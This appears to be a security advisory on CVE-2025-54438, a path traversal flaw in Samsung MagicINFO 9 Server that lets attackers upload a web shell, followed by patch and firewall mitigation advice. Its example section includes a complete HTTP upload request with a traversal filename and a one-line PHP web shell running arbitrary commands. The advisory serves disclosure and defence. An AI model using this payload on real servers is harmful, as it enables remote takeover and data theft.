Overview
The cybersecurity landscape is witnessing an uptick in the number of vulnerabilities discovered in widely used software and systems. Recently, a potentially devastating vulnerability has been uncovered in Samsung Electronics MagicINFO 9 Server software. Labelled as CVE-2025-54438, this vulnerability opens up a path for cyber attackers to upload a web shell to the web server, leading to system compromise or potential data leakage. The scope of this vulnerability is vast as it affects all servers running versions less than 21.1080.0 of MagicINFO 9 Server, and given the popularity and widespread deployment of Samsung’s software, the impact could be significant.
Vulnerability Summary
CVE ID: CVE-2025-54438
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage
Affected Products
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Product | Affected Versions
Samsung Electronics MagicINFO 9 Server | Less Than 21.1080.0
How the Exploit Works
This vulnerability, technically known as an “Improper Limitation of a Pathname to a Restricted Directory” or “Path Traversal” vulnerability, allows attackers to manipulate the input data in such a way that they can navigate through the server’s directory structure beyond the intended boundaries. In the specific case of CVE-2025-54438, this method allows a malicious actor to upload a web shell to the web server, effectively gaining control of the system.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. An HTTP POST request could be manipulated to include a malicious payload, as shown below:
POST /upload/ HTTP/1.1
Host: vulnerableserver.com
Content-Type: multipart/form-data; boundary=BOUNDARY
--BOUNDARY
Content-Disposition: form-data; name="file"; filename="../../../../../../var/www/shell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
--BOUNDARY--In this example, the attacker is trying to upload a PHP shell script to the server’s web root directory, which could then be executed to run arbitrary commands on the server remotely.
Mitigation Guidance
A patch has already been released by Samsung to fix this vulnerability. All MagicINFO 9 Server users should update their software to version 21.1080.0 or above as soon as possible. Meanwhile, as a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability.